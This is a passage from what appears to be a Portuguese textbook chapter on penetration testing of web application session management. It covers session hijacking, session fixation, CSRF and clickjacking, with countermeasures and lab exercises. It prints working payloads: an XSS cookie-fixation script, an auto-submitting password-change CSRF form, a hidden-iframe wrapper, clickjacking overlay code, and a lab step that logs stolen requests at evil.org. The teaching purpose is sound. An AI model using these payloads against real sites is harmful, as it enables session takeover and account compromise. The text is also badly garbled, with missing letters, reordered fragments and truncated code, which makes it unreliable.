2. Para cada um dos cookies contendo valores sensveis, verifique se: 2.1.O atributo Domain no est definido ou se contm um valor restritivo. 2.2.O atributo Path no est definido ou se contm um valor restritivo. 2.3.O atributo Secure est definido. 2.4.O atributo HttpOnly est definido.
Sequestro de sesso
O propsito final de se obter um identificador de sesso de outro usurio resume em ser capaz de injetar requisies na conversao da vtima, o que denominado de sequestro de sesso. Apesar da ampla adoo desse termo, considerando que, normalmente, o usurio no impedido de interagir com a aplicao, enquanto o ataque acontece, um nome mais apropriado seria invaso de sesso. Qualquer que seja o nome utilizado, porm, importante ter em mente que a combinao das requisies legtimas e forjadas pode conduzir a sesso a um estado inconsistente, o qual pode ser detectado por mecanismos de defesa
do ambiente. Assim, cuidado especial deve ser tomado na escolha das solicitaes a serem encaminhadas aplicao. Uma das maneiras possveis de executar a explorao consiste em interceptar as requisies maliciosas e alterar o identificador de sesso, para o valor atribudo vtima, antes de envi-las ao servidor. Se o proxy de interceptao utilizado no puder realizar essa troca, de maneira automtica, o processo deve ser repetido manualmente a cada solicitao, o que no nada prtico. A Figura 4.8 ilustra a substituio manual, por meio do WebScarab, do identificador de sesso PHPSESSID=kis5geve87fqfloqelg53igac1 para o de uma sesso j autenticada.
Figura 4.8 Substituio de cookie em ataque de sequestro de sesso, via WebScarab.
146
O complemento Add N Edit Cookies do Firefox apresenta uma alternativa muito mais fcil de executar o mesmo ataque. A ideia consiste em alterar permanentemente o valor do cookie, para que a requisio j seja efetuada com o identificador de sesso da vtima. Tal processo de troca se encontra ilustrado na Figura 4.9.
Figura 4.9 Substituio de cookie em ataque de sequestro de sesso, via Add N Edit Cookies.
147
Preparao
Nesta fase inicial, o usurio malicioso define o identificador de sesso que ser utilizado no restante do ataque. Se o mecanismo de gerenciamento de sesses do tipo estrito ou se o identificador fornecido, somente aps uma autenticao bem sucedida, deve-se obter um valor, autenticando-se no sistema com uma conta vlida; se no, possvel escolher um valor arbitrrio. Observe que, no primeiro cenrio, caso a aplicao possua controle de encerramento de sesses ociosas, algumas requisies devem ser realizadas, de tempos em tempos, para manuteno da sesso, at que a vtima se autentique.
Fixao
Esse o passo principal e consiste em induzir a vtima a se autenticar na aplicao web, a partir da sesso definida na primeira etapa pelo atacante. Para isso, necessrio fixar o identificador de sesso do usurio alvo, por meio de tcnicas como cross-site scripting, manipulao de trfego de rede e cross-site cooking.
Entrada
Procede-se como no sequestro de sesso, mas utilizando o identificador de sesso selecionado, em vez de um que tenha sido descoberto, por meio de outros ataques. De modo a facilitar a compreenso desses conceitos e da vulnerabilidade que causa o problema, a Figura 4.10 apresenta um exemplo desse tipo de ataque, contra uma aplicao cujo esquema de gerenciamento de sesses permissivo. Os passos que compem a explorao esto explicados a seguir:
1. O usurio malicioso escolhe o valor 12345, como identificador de sesso a ser utilizado
no ataque. Em seguida, envia uma mensagem de correio eletrnico vtima, contendo um link para a aplicao vulnervel, o qual carrega o identificador selecionado, como parmetro da URL.
2. A vtima, entusiasmada com a possibilidade de ganhar diversos prmios, clica no link forne-
cido e acessa o script login.php, presente no servidor www.app.com. Sem que ela saiba, o identificador de sesso 12345, fixado pelo atacante, enviado, junto requisio.
3. A aplicao web que executada em www.app.com verifica que o identificador de sesso
sio realizada.
5. A vtima fornece o nome da conta que utiliza e a senha de acesso correspondente, autenti-
cando-se com sucesso no sistema. Apesar da mudana do nvel de acesso do usurio, a aplicao no altera o identificador de sesso, que continua com o valor 12345. Essa
Teste de Invaso de Aplicaes Web
prtica a grande vulnerabilidade responsvel por permitir ataques de fixao de sesso. Uma vez que o atacante conhece o identificador de sesso utilizado pela vtima, ele capaz de entrar na sesso dela e executar quaisquer operaes desejadas, que no requeiram nova autenticao. No exemplo dado, uma requisio para consulta de saldo bancrio realizada.
148
Vtima (2) GET /login.php?sid=12345 (3) Tela de autenticao (4) Identicador de usurio + senha
www.app.com
Observe que a tcnica de fixao empregada, nesse cenrio, baseia-se no transporte do identificador de sesso, por meio de um parmetro da URL que especifica o destino do link enviado vtima. As principais maneiras de realizar a etapa de fixao incluem:
1 Parmetro de URL. 1 Execuo de scripts no lado cliente. 1 Injeo de <meta> tags HTML. 1 Ambiente compartilhado. 1 Adulterao de pacotes de rede. 1 Injeo de SQL. 1 Cookies de domnios. 1 Cross-site cooking.
Segundo Kolek (2007) e Siles (2011), tal mtodo apenas uma das diversas maneiras, abaixo sumarizadas, de realizar a tarefa:
1 Execuo de scripts no lado cliente: isso pode acontecer quando a aplicao vulnetada pelo navegador web no servidor, para carregar cdigo malicioso no primeiro, sem violar a poltica de mesma origem. O vetor abaixo ilustra um cdigo Javascript desse tipo, utilizado para fixar o identificador de sesso PHPSESSID para o valor 12345:
Captulo 4 - Teste do gerenciamento de sesses
rvel a ataques de cross-site scripting, por exemplo, que exploram a confiana deposi-
<script>document.cookie=PHPSESSID=12345; path=/;</script>
1 Injeo de <meta> tags HTML: o marcador <meta> empregado em HTML para prover
metadados sobre o documento, como autor e descrio, por exemplo. Ele tambm pode ser utilizado para simular um cabealho do protocolo HTTP, por meio do atributo http-equiv, e, assim, definir cookies para a aplicao web. De modo geral, a injeo de marcadores <meta> pode ser realizada, valendo-se de um ataque de cross-site scripting, mas com a vantagem de, muitas vezes, no ser filtrada, como no caso de marcadores <script>.
149
O seguinte vetor exemplifica o uso do marcador <meta>, para simular um cabealho HTTP Set-Cookie, que fixa o valor de PHPSESSID para 98765:
Figura 4.11 Fixao de identificador de sesso definido em cookie, por meio do complemento Add N Edit Cookie do Firefox.
recurso ao servidor, cuja resposta interceptada pelo atacante. Nesse momento, ele inclui um cabealho HTTP Set-Cookie, fixando o identificador de sesso. Caso a vtima, em seguida, acesse o sistema, o cookie definido pelo usurio malicioso utilizado. Assim, mesmo que as requisies sejam todas efetuadas por meio do protocolo HTTPS, o atacante consegue entrar na sesso da vtima, por outro canal HTTPS (Kolek, 2007).
150
1 Cross-site cooking: esse mtodo depende, para ser executado, de uma vulnerabilidade
no navegador web a qual no tem ocorrido faz um bom tempo. O princpio consiste em definir um cookie para a aplicao alvo, a partir de um domnio totalmente diferente. Por exemplo, considere que a resposta a uma requisio ao domnio www.evil.org inclua o seguinte cabealho:
Verificao de vulnerabilidade
Recapitulando, o ataque de fixao de sesso ocorre porque a aplicao no gera um novo identificador de sesso, aps uma mudana no nvel de acesso do usurio. Com base nisso, para verificar se uma aplicao web vulnervel ao ataque, o seguinte roteiro de teste pode ser adotado:
1. Acesse a aplicao web sendo testada. 2. Verifique se um identificador de sesso foi definido e, em caso positivo: 2.1.Anote o valor fornecido.
Captulo 4 - Teste do gerenciamento de sesses
2.2.Acesse uma pgina que requeira a autenticao do usurio e fornea credenciais vlidas. 2.3.Compare os identificadores obtidos antes e aps a autenticao, tendo em mente
vlidas.
3.2.Observe o formato do identificador de sesso definido, aps a autenticao. 3.3.Encerre a sesso. 3.4.Defina manualmente no navegador web um identificador de sesso, de acordo
151
q q
continuar utilizando o sistema normalmente. Se a aplicao utiliza diretivas contra o armazenamento de pginas no cache do navegador, o recurso deve ser carregado novamente, a partir do servidor. Uma vulnerabilidade igualmente crtica ocorre quando o identificador de sesso redefinido no cliente para um valor invlido, mas o respectivo objeto de estado no destrudo no servidor. Em um cenrio assim, se a aplicao recebe uma requisio com o identificador em questo, ela gera uma resposta vlida, pois no tem como saber que se trata de uma sesso j encerrada. Para verificar se um sistema apresenta esse defeito, deve-se anotar o identificador de sesso atribudo, desconectar-se da aplicao e, logo em seguida, realizar uma requisio, com o valor antigo de identificador. Se a operao no resultar em erro, conclui-se que a vulnerabilidade est presente e deve ser corrigida.
tando imputar responsabilidades, e que um atacante utilize a aplicao, sem ser notado. Percebe-se, portanto, que tal prtica , de fato, vulnervel e deve ser reportada, sempre que identificada em um ambiente. O teste que pode ser realizado, para verificar esse problema, bastante simples e consiste em se autenticar na aplicao, com a mesma conta, a partir de dois navegadores web diferentes. Se o sistema permitir que isso seja realizado, ele vulnervel e deve ser corrigido. Uma observao importante que deve ser feita que no basta realizar o teste, acessando a aplicao a partir de duas abas ou duas janelas do mesmo navegador, pois, normalmente, o identificador de sesso compartilhado entre elas.
152
1 Cookies so enviados automaticamente pelos navegadores web, em todas as requisies subsequentes realizadas, ao servidor que os definiu. O mesmo acontece com cabealhos de autorizao, depois de realizada uma autenticao HTTP.
1 Uso de estrutura de URL invarivel, isso , cada recurso da aplicao sempre acessado pela mesma URL, independentemente do usurio e da sesso estabelecida.
Todos esses pontos podem ser explorados em um ataque cross-site request forgery, conforme o cenrio ilustrado na Figura 4.12 e explicado em seguida. www.app.com Vtima
Usurio + senha Identicador de sesso (SID) <a href=http://www.app.com/proc.jsp?acao=10> Clique aqui<a/> SID + http://www.app.com/proc.jsp?acao=10 Ao 10 realizada com sucesso!
(2)
(3)
(4) (5)
153
(1)
sesso do usurio, na forma de um cookie, que enviado pelo navegador, em todas as requisies seguintes realizadas ao sistema.
3. Um usurio malicioso, que conhece a estrutura das URLs da aplicao, envia uma men-
sagem vtima, contendo um link para executar uma ao no sistema. fcil perceber que, adotando essa abordagem, o usurio deve ser induzido a clicar no link, por meio de engenharia social, para que o ataque funcione. Dependendo de quo consciente ele , em termos de segurana da informao, isso pode ou no ocorrer. Assim, mais eficaz utilizar elementos HTML que realizam as requisies, automaticamente, como o caso de imagens, por exemplo.
4. A vtima abre uma nova janela do mesmo navegador que est usando no acesso apli-
cao para ler a caixa de correio eletrnico. Nisso, acessa a mensagem maliciosa e clica no link fornecido pelo atacante. O navegador, ento, efetua a requisio aplicao e envia, tambm, o identificador de sesso atribudo ao usurio.
5. A aplicao atende a requisio, pois no tem como discerni-la de uma solicitao legtima,
feita pela prpria interface do sistema, uma vez que o identificador de sesso est correto. Como exemplo, considere o cenrio abaixo baseado em um ponto de acesso sem fio real, que utiliza uma interface web para gerenciamento, como a grande maioria desses dispositivos. A aplicao emprega o mtodo de autenticao bsica do protocolo HTTP e as requisies so feitas todas por meio do mtodo POST. Uma das diversas funcionalidades apresentadas pelo equipamento o controle de acesso por meio do endereo MAC do cliente, que precisa estar pr-cadastrado para conseguir conectar-se. A Figura 4.13 ilustra a interface para desativao desse servio e o formato da requisio gerada, quando o administrador clica em Apply.
Com um teste simples, fcil constatar que a requisio pode ser feita tambm por meio do mtodo GET. Embora isso no seja um pr-requisito para que um ataque de cross-site request forgery acontea, facilita muito a vida do atacante. Observe, tambm, que, aparentemente, no h parmetros que sejam funo da sesso estabelecida, o que implica que a URL para realizar a operao segue uma estrutura fixa. Com base nessas informaes todas, um ataque pode proceder da seguinte maneira:
1. O administrador do ponto de acesso sem fio se autentica na aplicao de gerenciamento,
utilizando um navegador X.
2. O atacante envia um e-mail em HTML ao administrador contendo o seguinte elemento:
154
e-mail, usando o mesmo navegador X, e l a mensagem maliciosa. Quando esta exibida, a imagem carregada, automaticamente, e, com isso, a requisio para desativao do filtro de MAC enviada ao ponto de acesso, juntamente, com as credenciais do usurio. Como estas esto corretas, a aplicao atende a solicitao, como se fosse legtima.
4. O usurio malicioso se conecta ao ponto de acesso rede sem fio.
No cenrio acima, optou-se por utilizar uma requisio GET, no lugar do mtodo POST, usado originalmente pela aplicao. Observe que essa traduo nem sempre possvel e, em tais situaes, outra tcnica deve ser empregada para executar o ataque CSRF. Considere, por exemplo, um sistema que permite a troca de senhas, por meio do seguinte formulrio:
<form action=# method=POST> New password:<br> <input type=password AUTOCOMPLETE=off name=password_new><br> Confirm new password:<br> <input type=password AUTOCOMPLETE=off name=password_ conf><br> <input type=submit value=Change name=Change> </form>
Uma maneira de envi-lo, automaticamente, consiste na utilizao de cdigo Javascript. Note, entretanto, que a poltica de mesma origem probe que o cdigo carregado a partir de um domnio interaja com objetos originrios de outro. Embora isso seja uma realidade, a mesma poltica no impede que submisses de formulrios sejam realizadas por origens diferentes. Isso permite criar, em um domnio controlado pelo atacante, um formulrio contendo os
mesmos elementos que o original e com o atributo action definido para o sistema vulnervel a CSRF. A submisso pode ser realizada, por meio de Javascript, to logo a pgina seja carilustrado no cdigo HTML abaixo:
Captulo 4 - Teste do gerenciamento de sesses
regada, bastando, ento, induzir a vtima a acess-la ( Jovanovic et al., 2006). Tudo isso est
<body onload=document.forms[fcsrf].Change.click();> <form name=fcsrf action=http://dvwa.esr.rnp.br/vulnerabilities/ csrf/ method=post> <input type=hidden name=password_new value=pwd/> <input type=hidden name=password_conf value=pwd/> <input type=Submit name=Change value=Change/> </form>
155
</body>
Um problema da abordagem acima que, uma vez enviado o formulrio, a pgina de resposta carregada na janela do navegador, alertando o usurio sobre o ataque realizado. Para evitar que isso acontea, um pequeno ajuste pode ser realizado, o qual consiste em abrir o formulrio em um iframe invisvel, contido em outra pgina do domnio do atacante. Desse modo, o documento de resposta, fornecido pela aplicao alvo, no fica visvel vtima. A pgina HTML abaixo ilustra essa tcnica, empregando o atributo opacity para conseguir a transparncia necessria.
<html> <head><title>Evil.org</title></head> <body> <iframe id=ifcsrf src=csrf.html style=opacity:0.00> </iframe> </body> </html>
Todos os exemplos abordados at aqui so viveis apenas porque a aplicao no capaz, como vimos, de validar se a origem da requisio o prprio sistema. Atacando esse problema, surge a soluo mais eficaz para evitar ataques CSRF, a qual consiste na incluso, em cada pgina da aplicao, de um elemento com valor gerado em funo da URL, do identificador de sesso, do nome da conta do usurio e de um segredo conhecido apenas pelo sistema. Toda vez que uma requisio recebida pela aplicao, esse valor, chamado de token anti-CSRF, deve ser validado e, caso no seja o esperado ou no esteja presente, uma resposta de erro deve ser enviada ao solicitante. Note que, para no ser vulnervel a ataques, o token no pode ser previsvel e deve ter um tamanho em bits suficiente para evitar busca exaustiva de valores. Adotada essa contramedida, o usurio malicioso precisa, para efetuar o ataque, descobrir o valor do token anti-CSRF ou, ento, que a aplicao seja vulnervel, tambm, a um ataque de cross-site scripting. Nesse ltimo caso, todo e qualquer controle, para evitar ataques CSRF, inutilizado, e a explorao de requisies via mtodo POST deixa de necessitar que a vtima visite uma pgina maliciosa, uma vez que a poltica de mesma origem respeitada. A interao entre esses defeitos tema do Captulo 5, que trata especificamente de cross-site scripting. Caso esse ataque no seja possvel, a tcnica chamada clickjacking, refinada h pouco
Teste de Invaso de Aplicaes Web
tempo (Stone, 2010), apresenta-se como um mtodo alternativo para violar tokens anti-CSRF. Para encerrar esta seo, observe o roteiro de teste que pode ser utilizado, com o objetivo de verificar se uma aplicao vulnervel a cross-site request forgery:
1 Habilite um proxy de interceptao para monitorar as requisies realizadas aplicao. 1 Autentique-se no sistema e percorra as diversas reas protegidas. 1 Para cada requisio, identifique os parmetros e construa uma pgina HTML que
efetue a mesma solicitao. A ausncia de elementos especficos de sesso, na pgina original, um grande indicativo de que a aplicao vulnervel.
156
1 Abra a pgina criada em uma nova janela e verifique se a ao realizada, automaticamente, pela aplicao. Em caso de resposta positiva, o ataque possvel.
Clickjacking
O ataque clickjacking, introduzido por Hansen e Grossman (2008), consiste em induzir a vtima a clicar em objetos de uma pgina que esto sobrepostos, invisivelmente, por elementos de uma aplicao web alvo. Desse modo, quando o usurio tenta clicar no objeto visvel, na realidade, ele interage com a pgina transparente que est carregada por cima das demais. Isso pode ser feito por meio de um objeto iframe especificado com opacidade zero e com profundidade, definida pelo atributo z-index, maior que a da pgina visvel. Esta, por sua vez, caso no seja controlada pelo atacante, deve ser carregada em outro iframe, com z-index menor. Sem isso, criar o frame superior implica alterar o documento original, o que possvel somente com cdigo injetado, devido poltica de mesma origem. Nesse contexto, imagine que a pgina carregada no iframe superior pertena a uma aplicao web, na qual a vtima se encontra autenticada, em outra janela do navegador. Caso o clique, na camada invisvel, ocorra em um boto de submisso de formulrio, por exemplo, uma requisio POST efetuada, contendo o identificador de sesso do usurio. A aplicao web no capaz de diferenci-la de uma solicitao legtima e, assim, a processa normalmente e retorna a resposta esperada. Note que esse ataque bastante similar a um cross-site request forgery, diferindo apenas no fato de no poder ser automatizado. Isso, porm, no deve ser visto como um fator limitante, pois diversos ataques avanados so possveis, graas a resultados recentemente obtidos (Stone, 2010).
Um exemplo real e relativamente recente de clickjacking afetou o Twitter, fazendo com que os usurios enviassem a mensagem Dont Click: http://tinyurl.com/amgzs6 (Mahemoff, 2009). Quando um seguidor clicava no link, acessava uma pgina contendo um nico boto com o ttulo Dont Click. Devido curiosidade, este tambm era clicado, mas o item que de fato recebia o evento consistia no boto para envio de mensagem do Twitter, que era carregado em um iframe invisvel e alinhado. Este definia como src o valor http://twitter.com/ home?status=Dont Click: http://tinyurl.com/amgzs6, o que abria o Twitter com a mensagem misteriosa, pronta para ser enviada. O cdigo HTML da pgina maliciosa empregada no ataque est ilustrado na Figura 4.14 (Balduzzi et al., 2010), e o processo de sobreposio e alinhamento, na Figura 4.15.
Captulo 4 - Teste do gerenciamento de sesses
157
<iframe style={ width:550px; height:228px; top:-170px; left:-400px; position:absolute; z-index:2; opacity:0; filter:alpha(opacity=0); } scrolling= no src=http://twitter.com/home?status=Dont Click: http://tinyurl.com/amgzs6> </iframe> <button style={ width:120px; top:10px; left:10px; position:absolute; z-index:1; }> Dont Click </button>
Figura 4.14
Cdigo HTML da pgina utilizada no ataque de clickjacking contra o Twitter. CSS Mecanismo simples utilizado para configurar a aparncia de documentos web, que permite, dentre outras coisas, escolher fontes, posicionar objetos e definir as cores dos diversos elementos da pgina.
importante observar, no cdigo HTML da Figura 4.14, que Cascading Style Sheets (CSS) empregado, para posicionar o iframe e o boto, de maneira alinhada. Note que os atributos top e left do primeiro contm valores negativos, em um esquema de posicionamento absoluto, o que faz com que a localizao do canto superior esquerdo do iframe seja acima e esquerda do canto correspondente da janela do navegador. Alm disso, os ndices de profundidade so definidos de modo que o boto fique para trs da pgina do Twitter, enquanto que a opacidade igual a zero torna o frame totalmente transparente. Opacity e filter so utilizados concomitantemente por questes de compatibilidade com o Firefox e o Internet Explorer, respectivamente.
Note que, nesse cenrio, a adio de um token anti-CSRF no resolveria o problema, pois ele seria carregado juntamente com a pgina e submetido com a requisio, que sempre efetuada manualmente pelo usurio, embora de maneira involuntria. Isso ilustra bem o fato de que a proteo contra cross-site request forgery, baseada em token individual, pode alternativamente ser quebrada por clickjacking, caso a aplicao no seja vulnervel a
158
cross-site scripting. Para isso, porm, deve ser possvel ao atacante preencher os campos do formulrio, como no caso do Twitter, em que a tarefa realizada por meio de valores passados na URL. Como esse mtodo no funciona, em muitos casos, outras tcnicas devem ser consideradas para viabilizao do ataque. Um grande avano consiste no uso das funcionalidades disponibilizadas pelos navegadores para arrastar objetos e solt-los nos lugares desejados em substituio s operaes de copiar e colar (Stone, 2010). Isso permite, dentre outras coisas, selecionar palavras, presentes no documento, e arrast-las para dentro de um campo textual,
API Application Programming Interface. Especifica a interface de um conjunto de rotinas, descrevendo, para cada uma delas, o nome, os parmetros de chamada, o tipo do retorno e a ao realizada.
de modo a preench-lo. Empregando a API drag-and-drop, padronizada em HTML5, pode-se definir os dados, no incio da operao de arrastamento, que devem ser copiados quando o mouse liberado. Uma caracterstica chave desse mecanismo que ele no se sujeita poltica de mesma origem, permitindo, na maioria dos navegadores, que dados sejam arrastados entre pginas de domnios diferentes, sem restries (Stone, 2010). A justificativa para esse comportamento fundamenta-se na impossibilidade de tais eventos serem iniciados, programaticamente, por scripts sendo executados no navegador web. Em outras palavras, toda operao de arrastamento deve ser realizada deliberadamente pelo usurio, eliminando, portanto, a aplicabilidade da supracitada poltica. Os passos seguintes resumem a tcnica descrita por Stone (2010) para efetivao do ataque:
1. A vtima induzida a arrastar um objeto visvel de um ponto A a um ponto B da tela. 2. Quando a operao de arrastamento iniciada, um script define o texto que deve ser
copiado para o campo de formulrio destino, o qual no fica visvel para o usurio.
3. No momento em que a pessoa solta o objeto, o dado desejado copiado para o campo alvo. 4. O processo deve ser orquestrado de modo que todos os campos necessrios sejam
preenchidos. Para uma melhor compreenso do clickjacking e das evolues recentes que sofreu, considere a aplicao DVWA, ilustrada na Figura 4.16. A pgina apresentada tem o objetivo de permitir a troca de senha, mas sem solicitar o valor anterior ao usurio. Isso facilita a
Figura 4.16 Aplicao DVWA modificada, para incluir token anti-CSRF.
ocorrncia de um ataque de cross-site request forgery, que combatido, por meio de um mecanismo baseado em tokens anti-CSRF, includo na verso original do software, para o mtodo POST, alm do GET suportado originalmente.
Captulo 4 - Teste do gerenciamento de sesses
presente exemplo. Outra modificao realizada visa permitir a submisso do formulrio via
159
Considerando que a aplicao no seja vulnervel a cross-site scripting, o ataque clickjacking deve ser empregado, para explorar o problema de cross-site request forgery. Com esse objetivo, a vtima, uma vez autenticada no DVWA, deve ser induzida a acessar uma pgina do atacante, como a apresentada na Figura 4.17. O disfarce utilizado, nesse cenrio, consiste em um jogo de perguntas, no qual o usurio deve arrastar elementos da primeira para a segunda coluna.
Observe que a disposio dos elementos na coluna de respostas muito similar dos campos da aplicao alvo. Evidentemente, isso no obra do acaso, mas, sim, resultado de um desenho cuidadoso, para que ocorra o alinhamento dos objetos, quando sobrepostos. Como o DVWA deve receber o evento de liberao do boto do mouse, necessrio que seja carregado no iframe superior. Porm, este no pode cobrir toda a rea visvel da tela, seno o evento que sinaliza o incio do arrastamento no recebido pela aplicao debaixo dele. Desse modo, a rea que deve ser coberta corresponde somente aos dois campos de resposta mais o boto, conforme pode ser visualizado na Figura 4.18.
Note que a parte exibida do DVWA, na sobreposio, fica originalmente no meio da pgina,
Teste de Invaso de Aplicaes Web
embora ocupe o canto superior do iframe. Isso implica que o contedo precisou ser posicionado dentro do recorte, de modo a se obter o alinhamento dos elementos. Mas como isso possvel? Sabe-se que um script carregado a partir do site malicioso no tem permisso para manipular o documento dentro do iframe, devido poltica de mesma origem. Porm, como o iframe em si um objeto oriundo do mesmo domnio, ele, sim, pode ser posicionado, na pgina de perguntas. Embora isso seja um passo em direo soluo, ainda no suficiente para atender a demanda, pois um iframe maior precisaria ser definido, o que cobriria outras regies da tela e impediria a correta captura de eventos. O truque, ento, consiste em definir uma seo do documento HTML, por meio do marcador <div>, que cubra exatamente a rea desejada. O posicionamento e o tamanho so obtidos
160
por meio de uma folha de estilo, cujo atributo overflow deve ser definido com o valor hidden, para que o contedo que extravase a regio especificada no seja exibido. Dentro dessa diviso, define-se um iframe invisvel, no qual a aplicao DVWA carregada, com tamanho suficiente para a regio de interesse ser visualizada, sem cortes, e posicionado de modo que os campos das duas aplicaes fiquem alinhados. O cdigo HTML correspondente a essa soluo encontra-se documentado na Figura 4.19.
<div id=f1 style=position:absolute;left:10px;top:60px draggable=true ondragstart=event.dataTransfer.setData(text/plain,pwd) ondragend=if (Y < 90) { document.forms[fd].elements[r1].value=1; } else {
Figura 4.20 Cdigo HTML para sobreposio de iframe, com posicionamento e recorte.
Captulo 4 - Teste do gerenciamento de sesses
161
Uma maneira de evitar o ataque clickjacking, introduzida pela Microsoft, consiste na utilizao do cabealho HTTP X-FRAME-OPTIONS, que indica ao navegador web em que condies uma dada pgina pode ser carregada em um frame. Um valor DENY probe completamente que isso acontea, enquanto que um valor SAMEORIGIN permite o carregamento, desde que o contexto de navegao de mais alto nvel seja exatamente o mesmo que o do contedo, para o qual a diretiva X-FRAME-OPTIONS foi definida (Rydstedt et al., 2010). Uma desvantagem do mtodo, que pode ser citada, resume-se na necessidade de ter de
especificar o cabealho para todas as pginas da aplicao, impactando com isso o processo de desenvolvimento. Outra tcnica, chamada de frame busting, verifica, por meio de scripts, se a pgina est sendo carregada em um frame e, em caso positivo, redireciona o objeto window de mais alto nvel, para ela prpria. O cdigo que realiza essa tarefa, normalmente, composto por um comando condicional e uma contramedida, como o ilustrado abaixo (Rydstedt, 2010):
<style> html {display:none;} </style> <script> if (self == top) { document.documentElement.style.display = block; } else {
162
Contramedidas
De modo a evitar defeitos de segurana no mecanismo de gerenciamento de sesses de uma aplicao web, os seguintes controles devem ser adotados (Stuttard e Pinto, 2007; Siles, 2011; Kolek, 2007; Rydstedt, 2010):
1 No crie esquemas de gerenciamento de sesses prprios. Em vez disso, utilize os fornecidos pelas linguagens e arcabouos utilizados no desenvolvimento da aplicao.
1 Certifique-se de que os identificadores de sesso utilizados possuem boa aleatoriedade e comprimento mnimo adequado.
1 Empregue o protocolo HTTPS durante toda a sesso de usurio. 1 Utilize os atributos secure e HttpOnly, para todos os cookies definidos pela aplicao, de modo a proteg-los durante a transmisso e contra-acessos de cdigos no lado do cliente.
1 No utilize os atributos domain e path, para nenhum dos cookies definidos pela aplicao. Isso faz com que, automaticamente, os valores mais restritivos sejam adotados.
1 Nunca aceite identificadores de sesso definidos pelo usurio. Caso isso acontea,
envie resposta com um novo valor.
163
1 Adicione tokens anti-CSRF a todas as pginas, gerando-os em funo da URL, do identificador de sesso, do nome da conta do usurio e de um segredo conhecido apenas pelo sistema.
1 Solicite que o usurio se reautentique, antes que operaes crticas sejam realizadas.
Desse modo, caso uma requisio seja feita automaticamente, como parte de um CSRF, a operao somente finalizada com anuncia humana.
1 Utilize o mtodo POST em vez de GET. Embora isso no seja, nem de longe, uma
soluo completa contra CSRF, dificulta um pouco a vida do atacante eventual.
1 No utilize o mesmo navegador para acessar sistemas crticos e navegar na internet. 1 Especifique o cabealho HTTP X-FRAME-OPTIONS para todas as pginas da aplicao. 1 Empregue a tcnica de frame busting, para evitar que a aplicao web seja carregada
em um frame de uma pgina originria de outro site web.
164
Roteiro de Atividades 4
Atividade 1 Introduo ao gerenciamento de sesses
Esta atividade tem por objetivo introduzir os mecanismos de gerenciamento de sesses usados pelas aplicaes web, para suprir a deficincia apresentada pelo protocolo HTTP nessa arena. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
um valor.
8. Na parte inferior da janela de conversao, clique na aba Raw e observe como o cabe-
165
PHPSESSID.
8. Clique na aba SessionID Analysis e, em seguida, na aba Collection. 9. Em Previous Requests, selecione a linha anotada no passo 7. 10. Clique no boto Test, observe os cookies que foram definidos e clique em Ok. 11. Digite 200 em Samples e clique em Fetch. 12. Clique na aba Analysis. 13. Em Session Identifier, selecione a linha contendo PHPSESSID. 14. Clique na aba Visualization e observe o grfico. Os identificadores de sesso so previsveis?
15. Retorne ao Firefox e acesse o WackoPicko, por meio da barra de atalhos. 16. Clique no link Admin, na parte inferior da tela. 17. Fornea admin para os campos Username e Password e clique em Submit. 18. No WebScarab, clique na aba Summary. 19. Role a tela at encontrar a coluna Set-Cookie e anote o nmero da linha contendo o
valor session.
20. D um duplo clique na linha para ver a requisio.
Teste de Invaso de Aplicaes Web
21. Clique na aba Raw. 22. Selecione a requisio inteira e pressione Ctrl + C. 23. Abra o gedit, localizado no menu Aplicativos\Acessrios. 24. Pressione Ctrl + V, para colar a requisio no gedit. 25. Pressione Ctrl + S, para salvar o arquivo no diretrio /tmp, usando o nome wacko.req, e
166
28. Repita os passos 8 a 12, mas considerando a linha anotada no passo 19. 29. Em Session Identifier, selecione a linha contendo session. 30. Clique na aba Visualization e observe o grfico. Os identificadores de sesso so previsveis?
~$ stompy
33. Digite o comando abaixo, para analisar os identificadores de sesso da aplicao DVWA:
~$ stompy http://dvwa.esr.rnp.br
34. Role a tela do terminal e analise o resultado. Qual o diagnstico da ferramenta? 35. Digite o comando abaixo, para analisar os identificadores de sesso da aplicao WackoPicko:
47. Encerre a janela de conversao. 48. Retorne ao Firefox e clique no link Logout, acima de Refresh. 49. Autentique-se, agora, com aspect/aspect e veja a nova mensagem de boas-vindas. 50. Repita os passos 44 a 47. 51. Clique na aba Proxy e marque Intercept requests. 52. Iniciando a engenharia reversa dos identificadores, observe que as cinco primeiras posi-
167
53. Qual a relao entre os tamanhos da parte composta por letras e do respectivo identifi-
cador de usurio?
54. Existe alguma letra que se repete nos identificadores de usurio? E nos identificadores
de sesso?
56. Retorne ao Firefox e clique no link Refresh. 57. Clique na aba Raw. 58. Troque o valor de AuthCookie, no cabealho Cookie, para o determinado no passo 55. 59. Clique em Accept Changes. 60. Retorne ao Firefox e veja a mensagem exibida. 61. Encerre o WebScarab. 62. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione None. 63. Encerre o Firefox.
~$ less ids.txt
4. Analise o arquivo com o Stompy:
~$ stompy -R ids.txt
5. Role a janela de terminal e veja a sada do utilitrio. Qual o diagnstico fornecido?
168
turar os pacotes, a aplicao deve ser executada em modo privilegiado e, por isso, uma senha ser solicitada. Digite esruser e clique em Ok.
3. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dis-
ponveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1. Em seguida, no campo Capture filter, digite tcp port http e clique em Start, para iniciar a captura de pacotes.
4. Acesse com o Firefox o DVWA, a partir da barra de atalhos. 5. Pare a captura de pacotes no Wireshark, clicando no quarto boto da barra de ferra-
<script>alert(document.cookie)</script>
6. Clique em Submit e veja a caixa de mensagem exibida. 7. Clique em Ok. 8. Digite no campo Whats your name o valor:
Captulo 4 - Roteiro de Atividades
http://www.evil.org/logs/evil.org-access_log
169
12. Procure o registro da requisio realizada pelo elemento <img> injetado no passo 8.
Atributos de cookies
O propsito deste exerccio fixar os conceitos sobre os atributos que podem ser utilizados por cookies e o impacto que tm em segurana.
1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas. 2. Clique na aba Proxy, depois em Manual Edit e, por fim, desmarque a opo Intercept requests. 3. Inicie o Firefox, presente no menu Aplicativos\Internet. 4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab. 5. Acesse https://cookies.esr.rnp.br/. O Firefox exibe uma mensagem de erro, porque o
atributo secure.
15. Retorne duas pginas no Firefox, para acessar novamente a pgina inicial. 16. Clique no link Atributo HttpOnly. 17. Veja no WebScarab que um novo cookie, ESRSIDHO, foi definido. 18. Retorne ao Firefox e clique em Ler Cookie. Os dois cookies so exibidos?
Teste de Invaso de Aplicaes Web
